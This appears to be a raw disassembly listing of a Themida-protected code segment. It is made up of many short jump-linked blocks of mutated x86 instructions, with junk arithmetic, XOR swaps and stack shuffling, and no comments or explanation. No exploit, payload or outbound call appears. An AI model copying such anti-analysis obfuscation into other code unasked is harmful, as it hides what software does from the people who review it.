		jmp	loc_55DB3A
; ---------------------------------------------------------------------------


loc_56B3A2:				; CODE XREF: Themida_:0055D4D3j
		mov	edi, [esp]
		jmp	loc_567FF1
; ---------------------------------------------------------------------------


loc_56B3AA:				; CODE XREF: Themida_:005638F0j
		mov	ebx, edx
		jmp	loc_563740
; ---------------------------------------------------------------------------


loc_56B3B1:				; CODE XREF: Themida_:00566A87j
		add	esp, 4
		xor	ebx, eax
		push	6174h
		mov	[esp], eax
		jmp	loc_55FACA
; ---------------------------------------------------------------------------


loc_56B3C6:				; CODE XREF: Themida_:0056B5F1j
		sub	edx, 7CF571EDh
		jmp	loc_56A111
; ---------------------------------------------------------------------------


loc_56B3D1:				; CODE XREF: Themida_:0055D55Bj
		push	ebx
		mov	ebx, 3D270F0Eh
		jmp	loc_56E3DC
; ---------------------------------------------------------------------------


loc_56B3DC:				; CODE XREF: Themida_:0056BE01j
		pop	esp
		mov	[esp], edx
		push	2049h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		push	edx
		jmp	loc_55F54B
; ---------------------------------------------------------------------------


loc_56B3F9:				; CODE XREF: Themida_:005682C5j
		add	ebx, esi
		jmp	loc_56427C
; ---------------------------------------------------------------------------


loc_56B400:				; CODE XREF: Themida_:00566AE5j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_565CE3
; ---------------------------------------------------------------------------


loc_56B40F:				; CODE XREF: Themida_:0056F787j
		pop	edi
		sub	ebx, 7A154DFAh
		xor	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	2C47h
		mov	[esp], eax
		jmp	loc_571104
; ---------------------------------------------------------------------------


loc_56B438:				; CODE XREF: Themida_:00562CD5j
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_56A671
; ---------------------------------------------------------------------------


loc_56B44E:				; CODE XREF: Themida_:00560CC7j
		add	esp, 4
		push	dx
		push	ecx
		mov	cl, 53h
		mov	dh, 96h
		xor	dh, cl
		pop	ecx
		xor	bl, dh
		pop	dx
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_56AF07
; ---------------------------------------------------------------------------


loc_56B46E:				; CODE XREF: Themida_:005658F8j
		add	edx, 13AF4EFBh
		add	edx, edi
		sub	edx, 13AF4EFBh
		jmp	loc_569BEE
; ---------------------------------------------------------------------------


loc_56B481:				; CODE XREF: Themida_:0056BDDBj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	808h
		mov	[esp], ebp
		mov	ebp, 340D0BF6h
		sub	ebp, 5A0B551Dh
		jmp	loc_569326
; ---------------------------------------------------------------------------


loc_56B4A2:				; CODE XREF: Themida_:0056DDF1j
		not	eax
		xor	eax, 58E8A040h
		jmp	loc_571534
; ---------------------------------------------------------------------------


loc_56B4AE:				; CODE XREF: Themida_:0055FB9Fj
		add	esp, 4
		pop	ebx
		add	ebx, 4
		add	ebx, 2
		push	ebx
		jmp	loc_55DCB1
; ---------------------------------------------------------------------------


loc_56B4C7:				; CODE XREF: Themida_:00570E1Aj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56F7B0
; ---------------------------------------------------------------------------


loc_56B4D0:				; CODE XREF: Themida_:0056B27Ej
		push	esp
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esi
		mov	esi, 61765859h
		and	esi, 645312C5h
		push	ebp
		mov	ebp, 4D924160h
		sub	ebp, 0B400F49h
		dec	ebp
		shl	ebp, 8
		shr	ebp, 7
		add	ebp, 6BEB653Ch
		push	ecx
		jmp	loc_567432
; ---------------------------------------------------------------------------


loc_56B512:				; CODE XREF: Themida_:0056973Ej
		xor	edi, 40400905h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55E98D
; ---------------------------------------------------------------------------


loc_56B52B:				; CODE XREF: Themida_:0055F5A1j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 0Ch
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		not	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 77010159h
		push	edi
		jmp	loc_56B381
; ---------------------------------------------------------------------------


loc_56B559:				; CODE XREF: Themida_:0055DDE6j
		push	ecx
		mov	ecx, esp
		jmp	loc_56DDE0
; ---------------------------------------------------------------------------


loc_56B561:				; CODE XREF: Themida_:00561B1Fj
		push	edi
		mov	edi, esp
		jmp	loc_56ECAC
; ---------------------------------------------------------------------------


loc_56B569:				; CODE XREF: Themida_:00567E54j
		push	ecx
		mov	ch, dh
		mov	dh, ah
		mov	ah, ch
		jmp	loc_567040
; ---------------------------------------------------------------------------


loc_56B575:				; CODE XREF: Themida_:005648FCj
		xor	edx, 446D3C17h
		and	esi, edx
		pop	edx
		push	ebx
		mov	ebx, 73D2798Fh
		jmp	loc_56FA70
; ---------------------------------------------------------------------------


loc_56B589:				; CODE XREF: Themida_:00561CF3j
		mov	[esp], esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		push	edi
		jmp	loc_572809
; ---------------------------------------------------------------------------


loc_56B5A9:				; CODE XREF: Themida_:0056615Cj
		shr	ebx, 6
		sub	ebx, 817F0C75h
		jmp	loc_55D772
; ---------------------------------------------------------------------------


loc_56B5B7:				; CODE XREF: Themida_:00562B62j
		add	ebp, 730E07F4h
		add	ebp, 48A10BD3h
		add	ebp, 5CE818FDh
		sub	ebp, edi
		sub	ebp, 5CE818FDh
		sub	ebp, 48A10BD3h
		jmp	loc_55FCCA
; ---------------------------------------------------------------------------


loc_56B5DC:				; CODE XREF: Themida_:005710F0j
		mov	esi, 637643B7h
		shr	esi, 6
		jmp	loc_56423B
; ---------------------------------------------------------------------------


loc_56B5E9:				; CODE XREF: Themida_:0055E5F2j
		push	esp
		pop	ebx
		push	edx
		mov	edx, 7CF571F1h
		jmp	loc_56B3C6
; ---------------------------------------------------------------------------


loc_56B5F6:				; CODE XREF: Themida_:0056A0A1j
		and	eax, 169A605Eh
		shr	eax, 1
		dec	eax
		xor	eax, 1452004h
		jmp	loc_567F64
; ---------------------------------------------------------------------------


loc_56B608:				; CODE XREF: Themida_:0056DBABj
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_57267E
; ---------------------------------------------------------------------------


loc_56B61F:				; CODE XREF: Themida_:0057015Bj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	704Fh
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_568480
; ---------------------------------------------------------------------------


loc_56B63B:				; CODE XREF: Themida_:00560ACBj
		pop	ecx
		add	ecx, 457A3F9Ch
		jmp	loc_570270
; ---------------------------------------------------------------------------


loc_56B647:				; CODE XREF: Themida_:00567B64j
		pop	ebp
		jmp	loc_564848
; ---------------------------------------------------------------------------


loc_56B64D:				; CODE XREF: Themida_:00567BD8j
		mov	bl, al
		pop	eax
		pop	edx
		pop	ax
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	al, 0D1h
		jmp	loc_56CFCE
; ---------------------------------------------------------------------------


loc_56B661:				; CODE XREF: Themida_:00568D72j
		mov	eax, 20ED5DD1h
		mov	esi, eax
		mov	eax, [esp]
		jmp	loc_56BCEF
; ---------------------------------------------------------------------------


loc_56B670:				; CODE XREF: Themida_:0056B7C9j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 48C13B20h
		add	esi, 67820CD0h
		add	esi, edx
		sub	esi, 67820CD0h
		pop	edx
		inc	esi
		neg	esi
		neg	esi
		jmp	loc_56819A
; ---------------------------------------------------------------------------


loc_56B694:				; CODE XREF: Themida_:00568D8Bj
		mov	[esp], ecx
		mov	cl, al
		push	1AFAh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_56772E
; ---------------------------------------------------------------------------


loc_56B6B9:				; CODE XREF: Themida_:00565DE4j
		pop	edi
		jmp	loc_560CBE
; ---------------------------------------------------------------------------


loc_56B6BF:				; CODE XREF: Themida_:0056F659j
		mov	ebp, 79EF1DB2h
		neg	ebp
		jmp	loc_5660E0
; ---------------------------------------------------------------------------


loc_56B6CB:				; CODE XREF: Themida_:0056AAC4j
		sub	edi, 0BCDEC886h
		jmp	loc_5607AD
; ---------------------------------------------------------------------------


loc_56B6D6:				; CODE XREF: Themida_:00566EB2j
		dec	edx
		sub	edx, 56302FF7h
		mov	edi, edx
		pop	edx
		mov	esi, edi
		jmp	loc_571077
; ---------------------------------------------------------------------------


loc_56B6E7:				; CODE XREF: Themida_:0056F2FBj
		xor	ebp, edx
		pop	edx
		xchg	esi, ebp
		not	esi
		jmp	loc_55DD2A
; ---------------------------------------------------------------------------


loc_56B6F3:				; CODE XREF: Themida_:005606F5j
		mov	ebp, 4
		jmp	loc_5623C2
; ---------------------------------------------------------------------------


loc_56B6FD:				; CODE XREF: Themida_:00567D18j
		inc	ebx
		jmp	loc_56C243
; ---------------------------------------------------------------------------


loc_56B703:				; CODE XREF: Themida_:00561D9Ej
		and	edi, 458A1E5Ch
		xor	edi, 1FF91B80h
		or	edi, 729332Ah
		sub	edi, 10F31C93h
		add	edi, 0F0F7DCDDh
		mov	ebx, edi
		jmp	loc_568909
; ---------------------------------------------------------------------------


loc_56B728:				; CODE XREF: Themida_:00560182j
		mov	ebp, [esp]
		jmp	loc_563450
; ---------------------------------------------------------------------------


loc_56B730:				; CODE XREF: Themida_:0056F28Dj
		add	esp, 4
		push	25EAh
		mov	[esp], ecx
		push	esp
		jmp	loc_55F29E
; ---------------------------------------------------------------------------


loc_56B741:				; CODE XREF: Themida_:00560DBBj
		push	edx
		mov	edx, 50F27206h
		xchg	ebx, edx
		neg	ebx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		push	esi
		mov	esi, 0CA92EFFh
		or	edx, esi
		pop	esi
		sub	edx, 1
		add	edx, 50525006h
		sub	ebp, 6F7F6006h
		sub	ebp, 67FB3C67h
		add	ebp, edx
		jmp	loc_567C79
; ---------------------------------------------------------------------------


loc_56B779:				; CODE XREF: Themida_:00564DA7j
		add	esi, eax
		jmp	loc_565729
; ---------------------------------------------------------------------------


loc_56B780:				; CODE XREF: Themida_:0056F142j
		push	edx
		push	ecx
		push	603022C3h
		pop	ecx
		jmp	loc_5649C8
; ---------------------------------------------------------------------------


loc_56B78D:				; CODE XREF: Themida_:00568026j
		mov	ax, [esp]
		push	9A7h
		jmp	loc_571CC9
; ---------------------------------------------------------------------------


loc_56B79B:				; CODE XREF: Themida_:00563107j
		mov	edx, edi
		jmp	loc_5640F9
; ---------------------------------------------------------------------------


loc_56B7A2:				; CODE XREF: Themida_:00564D47j
		sub	esi, ecx
		mov	ecx, [esp]
		push	edi
		jmp	loc_56DD32
; ---------------------------------------------------------------------------


loc_56B7AD:				; CODE XREF: Themida_:00560E53j
		push	11F8h
		mov	[esp], ebp
		jmp	loc_56C990
; ---------------------------------------------------------------------------


loc_56B7BA:				; CODE XREF: Themida_:005718AEj
		pop	ebx


loc_56B7BB:				; CODE XREF: Themida_:005604C4j
		push	ecx
		mov	ecx, esp
		jmp	loc_568DEF
; ---------------------------------------------------------------------------


loc_56B7C3:				; CODE XREF: Themida_:00570667j
		push	269A7C8Bh
		pop	esi
		jmp	loc_56B670
; ---------------------------------------------------------------------------


loc_56B7CE:				; CODE XREF: Themida_:00571AEFj
		add	esp, 4
		sub	esp, 4
		jmp	loc_565F2A
; ---------------------------------------------------------------------------


loc_56B7DC:				; CODE XREF: Themida_:005620C3j
		and	ebx, 79E21189h
		push	esi
		mov	esi, 5C260C9h
		neg	esi
		xor	esi, 0A0C3252h
		not	esi
		sub	esi, 0DB05D87Eh
		and	ebx, esi
		jmp	loc_564E38
; ---------------------------------------------------------------------------


loc_56B7FF:				; CODE XREF: Themida_:0056083Dj
					; Themida_:005619F3j
		push	ebx
		push	6FE1h
		mov	[esp], eax
		jmp	loc_56E0D1
; ---------------------------------------------------------------------------


loc_56B80D:				; CODE XREF: Themida_:0056F214j
		mov	cl, 0B2h
		push	ecx
		push	ebx
		jmp	loc_56D29D
; ---------------------------------------------------------------------------


loc_56B816:				; CODE XREF: Themida_:0055EA35j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_571204
; ---------------------------------------------------------------------------


loc_56B82D:				; CODE XREF: Themida_:00562563j
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 5F417D39h
		jmp	loc_571B1E
; ---------------------------------------------------------------------------


loc_56B83E:				; CODE XREF: Themida_:0056D8A3j
		add	edx, eax
		pop	eax
		jmp	loc_56E749
; ---------------------------------------------------------------------------


loc_56B846:				; CODE XREF: Themida_:0056B205j
		add	ebp, 0FFFFFFFFh
		jmp	loc_567093
; ---------------------------------------------------------------------------


loc_56B84E:				; CODE XREF: Themida_:0055D6F2j
		push	edi
		mov	edi, 7BEA3246h
		shl	edi, 6
		jmp	loc_56DABB
; ---------------------------------------------------------------------------


loc_56B85C:				; CODE XREF: Themida_:0056254Ej
		push	esi
		push	ebp
		pop	esi
		pop	ebp
		jmp	loc_56A5DF
; ---------------------------------------------------------------------------


loc_56B865:				; CODE XREF: Themida_:0056FFC1j
		add	esp, 4
		push	esi
		mov	esi, 4
		sub	ebx, 1E921890h
		add	ebx, esi
		add	ebx, 1E921890h
		pop	esi
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_560280
; ---------------------------------------------------------------------------


loc_56B897:				; CODE XREF: Themida_:0056DD66j
					; Themida_:0056F44Ej
		push	62FCh
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_568CD0
; ---------------------------------------------------------------------------


loc_56B8BF:				; CODE XREF: Themida_:005637A6j
		pop	eax
		jmp	loc_566EEA
; ---------------------------------------------------------------------------


loc_56B8C5:				; CODE XREF: Themida_:00565265j
		add	ebp, ecx
		jmp	loc_56003A
; ---------------------------------------------------------------------------


loc_56B8CC:				; CODE XREF: Themida_:005710B8j
		pop	esi


loc_56B8CD:				; CODE XREF: Themida_:0056D067j
					; Themida_:0056FBF8j
		push	5030h
		mov	[esp], ebp
		push	3E77h
		mov	[esp], ecx
		mov	ecx, ebx
		push	ecx
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		add	dword ptr [esp], 327627E7h
		jmp	loc_55DA96
; ---------------------------------------------------------------------------


loc_56B8F9:				; CODE XREF: Themida_:00561BB9j
		mov	[esp], eax
		mov	eax, 1DBB3F9Dh
		shl	eax, 4
		jmp	loc_56DADE
; ---------------------------------------------------------------------------


loc_56B909:				; CODE XREF: Themida_:00563E00j
		add	esp, 4
		and	edx, 1F9A6C8Ch
		inc	edx
		xor	edx, 53B30618h
		and	edx, 418B2EC3h
		push	ecx
		push	esi
		push	7D2A08F2h
		jmp	loc_560EDA
; ---------------------------------------------------------------------------


loc_56B92B:				; CODE XREF: Themida_:005673ACj
		push	eax
		mov	eax, 7691591Ah
		not	eax
		xor	eax, 0DDA8FA7Eh
		jmp	loc_56BAE9
; ---------------------------------------------------------------------------


loc_56B93D:				; CODE XREF: Themida_:0056773Dj
		add	eax, 1
		dec	eax
		sub	esp, 4
		jmp	loc_55F5C2
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2993h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 74A450A8h
		push	1B5Ch
		mov	[esp], edi
		mov	edi, 74A450ACh
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5655F4
; ---------------------------------------------------------------------------


loc_56B981:				; CODE XREF: Themida_:0056FB72j
		pop	edi
		add	edi, 4
		push	ecx
		jmp	loc_564385
; ---------------------------------------------------------------------------


loc_56B98E:				; CODE XREF: Themida_:0055E68Cj
		sub	ebx, esi
		pop	esi
		add	ebx, eax
		add	ebx, 292C5779h
		jmp	loc_564B59
; ---------------------------------------------------------------------------


loc_56B99E:				; CODE XREF: Themida_:0056625Dj
		pop	ebp
		jmp	loc_5630A9
; ---------------------------------------------------------------------------


loc_56B9A4:				; CODE XREF: Themida_:00562103j
		mov	ecx, esp
		add	ecx, 4
		push	5C93h
		jmp	loc_56C88A
; ---------------------------------------------------------------------------


loc_56B9B6:				; CODE XREF: Themida_:00567A9Ej
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56C3F2
; ---------------------------------------------------------------------------


loc_56B9CD:				; CODE XREF: Themida_:00563824j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		jmp	loc_5608FE
; ---------------------------------------------------------------------------


loc_56B9E2:				; CODE XREF: Themida_:0056DF4Ej
		xor	cl, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		mov	dl, 0C1h
		jmp	loc_5616F8
; ---------------------------------------------------------------------------


loc_56B9F6:				; CODE XREF: Themida_:00570C9Aj
		xor	[esp+4], edx
		jmp	loc_55F9C0
; ---------------------------------------------------------------------------


loc_56B9FF:				; CODE XREF: Themida_:00560D17j
		sub	ebx, 1
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		push	eax
		push	eax
		mov	eax, esp
		jmp	loc_562BD8
; ---------------------------------------------------------------------------


loc_56BA11:				; CODE XREF: Themida_:0056AFD6j
		pop	edx
		push	edi
		mov	edi, 3AE260ABh
		and	edi, 121C0C33h
		shr	edi, 6
		jmp	loc_56F77F
; ---------------------------------------------------------------------------


loc_56BA26:				; CODE XREF: Themida_:00560266j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_57243D
; ---------------------------------------------------------------------------


loc_56BA39:				; CODE XREF: Themida_:0055DA97j
		sub	eax, 327627E7h
		jmp	loc_563CC1
; ---------------------------------------------------------------------------


loc_56BA43:				; CODE XREF: Themida_:0056A990j
		add	edi, 22E26E6Ah
		sub	edi, edx
		push	ebp
		mov	ebp, 22E26E6Ah
		jmp	loc_56FD6E
; ---------------------------------------------------------------------------


loc_56BA56:				; CODE XREF: Themida_:0055F5DAj
		mov	edi, 1B8D24F0h
		add	edi, 5FFE3582h
		not	edi
		shr	edi, 6
		add	edi, 423158C3h
		add	eax, edi
		pop	edi
		jmp	loc_565E0E
; ---------------------------------------------------------------------------


loc_56BA74:				; CODE XREF: Themida_:0055EA7Fj
		push	ecx
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56BA7B:				; CODE XREF: Themida_:005635B3j
		mov	esi, 4
		add	edx, 61376924h
		jmp	loc_56AD5E
; ---------------------------------------------------------------------------


loc_56BA8B:				; CODE XREF: Themida_:0056CF9Aj
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_56A371
; ---------------------------------------------------------------------------


loc_56BA9A:				; CODE XREF: Themida_:00572928j
		pop	esp
		mov	[esp], edx
		jmp	loc_572AC2
; ---------------------------------------------------------------------------


loc_56BAA3:				; CODE XREF: Themida_:0056FDCDj
		mov	ecx, 23546D24h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, eax
		push	edi
		mov	edi, 23546D24h
		sub	esi, edi
		pop	edi
		push	250Fh
		mov	[esp], eax
		mov	eax, 6ACD680Eh
		or	eax, 4AC6707Dh
		push	ecx
		mov	ecx, 15A154DDh
		jmp	loc_56716C
; ---------------------------------------------------------------------------


loc_56BADB:				; CODE XREF: Themida_:0056B11Ej
		mov	[esp], ebp
		push	ebx
		mov	ebx, 55415B05h
		jmp	loc_570B14
; ---------------------------------------------------------------------------


loc_56BAE9:				; CODE XREF: Themida_:0056B938j
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_560522
; ---------------------------------------------------------------------------


loc_56BAF6:				; CODE XREF: Themida_:00561716j
		push	edi
		push	eax
		jmp	loc_55FD4D
; ---------------------------------------------------------------------------


loc_56BAFD:				; CODE XREF: Themida_:00566AC8j
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_5637D5
; ---------------------------------------------------------------------------


loc_56BB0C:				; CODE XREF: Themida_:00564AC6j
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	eax, 30CD3CF2h
		sub	eax, edi
		add	eax, 30CD3CF2h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55E1F4
; ---------------------------------------------------------------------------


loc_56BB44:				; CODE XREF: Themida_:0056762Cj
		mov	[esp], ecx
		jmp	loc_572415
; ---------------------------------------------------------------------------


loc_56BB4C:				; CODE XREF: Themida_:00568B04j
		pop	edi
		mov	edx, [esp]
		jmp	loc_560EB7
; ---------------------------------------------------------------------------


loc_56BB55:				; CODE XREF: Themida_:0056E361j
		mov	ebp, 2AE82478h
		and	ebp, 585A25DEh
		dec	ebp
		jmp	loc_56E9E9
; ---------------------------------------------------------------------------


loc_56BB66:				; CODE XREF: Themida_:00561FF9j
		mov	ebx, 64011B83h
		shl	ebx, 3
		jmp	loc_55D62C
; ---------------------------------------------------------------------------


loc_56BB73:				; CODE XREF: Themida_:0056DFCCj
		add	eax, 54A372E4h
		shl	eax, 4
		or	eax, 530478BDh
		push	0
		sub	[esp], eax
		pop	eax
		push	edx
		push	200741h
		pop	edx
		add	eax, 222E254Ah
		sub	eax, edx
		jmp	loc_55ECE7
; ---------------------------------------------------------------------------


loc_56BB9C:				; CODE XREF: Themida_:005721DFj
		mov	ecx, 270051B8h
		or	ecx, 52051B31h
		sub	ecx, 61E127BDh
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, esi
		pop	esi
		mov	edx, ecx
		pop	ecx
		jmp	loc_56E8EB
; ---------------------------------------------------------------------------


loc_56BBC3:				; CODE XREF: Themida_:00570D1Aj
		sub	esp, 4
		jmp	loc_567447
; ---------------------------------------------------------------------------


loc_56BBCE:				; CODE XREF: Themida_:0055E6F1j
		mov	ebp, [esp]
		add	esp, 4
		pop	esi
		xor	eax, ecx
		pop	ecx
		push	5C6Eh
		mov	[esp], edi
		jmp	loc_55E340
; ---------------------------------------------------------------------------


loc_56BBE8:				; CODE XREF: Themida_:00563CA0j
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	19AAh
		mov	[esp], edi
		mov	edi, 775E3E1Bh
		or	edi, 0BEE0A4Eh
		xor	edi, 4C7D1B09h
		dec	edi
		push	ebp
		mov	ebp, 1B6D7FDCh
		xor	edi, ebp
		pop	ebp
		push	eax
		mov	eax, 784E6642h
		inc	eax
		xor	eax, 5CA9778Dh
		or	eax, 82A4BCCh
		xor	eax, 22AA0AF4h
		jmp	loc_55FF83
; ---------------------------------------------------------------------------


loc_56BC31:				; CODE XREF: Themida_:0056031Aj
		add	esp, 2
		push	dx
		mov	dh, 0B6h
		jmp	loc_56BD31
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	0DCEh
		jmp	loc_55DE33
; ---------------------------------------------------------------------------


loc_56BC4A:				; CODE XREF: Themida_:0056899Dj
		push	dword ptr [esp+4]
		jmp	loc_562837
; ---------------------------------------------------------------------------


loc_56BC53:				; CODE XREF: Themida_:0055DE2Ej
		push	edx
		mov	edx, 4B4743A9h
		xor	edx, 396D31F9h
		jmp	loc_5641D7
; ---------------------------------------------------------------------------


loc_56BC64:				; CODE XREF: Themida_:00561649j
		xor	bh, ah
		xor	ah, bh
		not	bh
		push	edx
		mov	dl, bh
		jmp	loc_568598
; ---------------------------------------------------------------------------


loc_56BC72:				; CODE XREF: Themida_:005611AAj
		shr	ebx, 4
		xor	ebx, 653DA042h
		add	edi, ebx
		jmp	loc_568572
; ---------------------------------------------------------------------------


loc_56BC82:				; CODE XREF: Themida_:0055EFE9j
		xor	edx, 68A80292h
		sub	edi, edx
		jmp	loc_570EAA
; ---------------------------------------------------------------------------


loc_56BC8F:				; CODE XREF: Themida_:0055FE6Fj
		dec	esi
		or	esi, 4B713272h
		dec	esi
		neg	esi
		add	esi, 0C241C0C1h
		jmp	loc_5689DF
; ---------------------------------------------------------------------------


loc_56BCA4:				; CODE XREF: Themida_:0056C0BDj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebx, 235A5C96h
		shr	ebx, 1
		sub	ebx, 1E514C13h
		sub	ebx, 0BC4339B4h
		jmp	loc_55E89E
; ---------------------------------------------------------------------------


loc_56BCD5:				; CODE XREF: Themida_:00571C33j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	esi, ebx
		sub	esi, 326849F2h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_571DFA
; ---------------------------------------------------------------------------


loc_56BCEF:				; CODE XREF: Themida_:0056B66Bj
		add	esp, 4
		sub	ebx, esi
		pop	esi
		pop	ecx
		push	esi
		jmp	loc_5628A0
; ---------------------------------------------------------------------------


loc_56BCFF:				; CODE XREF: Themida_:0055DC93j
		mov	eax, esi
		pop	esi
		add	eax, 137E05D3h
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_56E3D6
; ---------------------------------------------------------------------------


loc_56BD18:				; CODE XREF: Themida_:005656DFj
		add	eax, 300345DDh
		or	edx, eax
		pop	eax
		shl	edx, 6
		push	eax
		mov	eax, 79BD4AE7h
		add	edx, eax
		pop	eax
		jmp	loc_567E93
; ---------------------------------------------------------------------------


loc_56BD31:				; CODE XREF: Themida_:0056BC38j
		push	edx
		mov	dh, 60h
		add	ch, dh
		jmp	loc_55DA80
; ---------------------------------------------------------------------------


loc_56BD3B:				; CODE XREF: Themida_:005603AEj
		sub	ax, bx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], bx
		jmp	loc_568238
; ---------------------------------------------------------------------------


loc_56BD6B:				; CODE XREF: Themida_:005706A8j
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56D205
; ---------------------------------------------------------------------------


loc_56BD84:				; CODE XREF: Themida_:0055E2DEj
		pop	si
		jmp	loc_56511E
; ---------------------------------------------------------------------------


loc_56BD8B:				; CODE XREF: Themida_:00566A49j
		pop	eax
		jmp	loc_56F5D4
; ---------------------------------------------------------------------------


loc_56BD91:				; CODE XREF: Themida_:005722ABj
		mov	esi, 3EA407C8h
		dec	esi
		push	eax
		mov	eax, 5907293Ch
		shr	eax, 3
		sub	eax, 0EC26AA9Dh
		and	esi, eax
		pop	eax
		jmp	loc_55E590
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55DEE3


loc_56BDAD:				; CODE XREF: sub_55DEE3+626Bj
		xchg	ah, byte ptr [esp+4+var_4]
		not	ah
		xchg	ah, byte ptr [esp+4+var_4]
		pop	edx
		sub	dl, 0FFh
		not	dl
		add	dl, 23h
		add	al, 0ABh
		sub	al, 0C4h
		sub	al, dl
		add	al, 0C4h
		jmp	sub_562A0A
; END OF FUNCTION CHUNK	FOR sub_55DEE3
; ---------------------------------------------------------------------------


loc_56BDCB:				; CODE XREF: Themida_:00568F9Ej
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_56B481
; ---------------------------------------------------------------------------


loc_56BDE0:				; CODE XREF: Themida_:00563B0Cj
		pop	ebp
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_571C28
; ---------------------------------------------------------------------------


loc_56BDF4:				; CODE XREF: Themida_:00566AF2j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_56B3DC
; ---------------------------------------------------------------------------


loc_56BE06:				; CODE XREF: Themida_:0056C558j
		mov	ch, 80h
		add	al, 0C5h
		add	al, ch
		push	ecx
		mov	cl, 71h
		sub	cl, 0EFh
		shr	cl, 5
		dec	cl
		inc	cl
		dec	cl
		sub	cl, 3Eh
		sub	al, cl
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 59h
		shl	dl, 1
		push	4557h
		mov	[esp], ebx
		push	ecx
		mov	cl, 0B8h
		mov	bh, cl
		mov	ecx, [esp]
		jmp	loc_566808
; ---------------------------------------------------------------------------


loc_56BE49:				; CODE XREF: Themida_:0055F58Aj
		add	ecx, edi
		pop	edi
		jmp	loc_563072
; ---------------------------------------------------------------------------


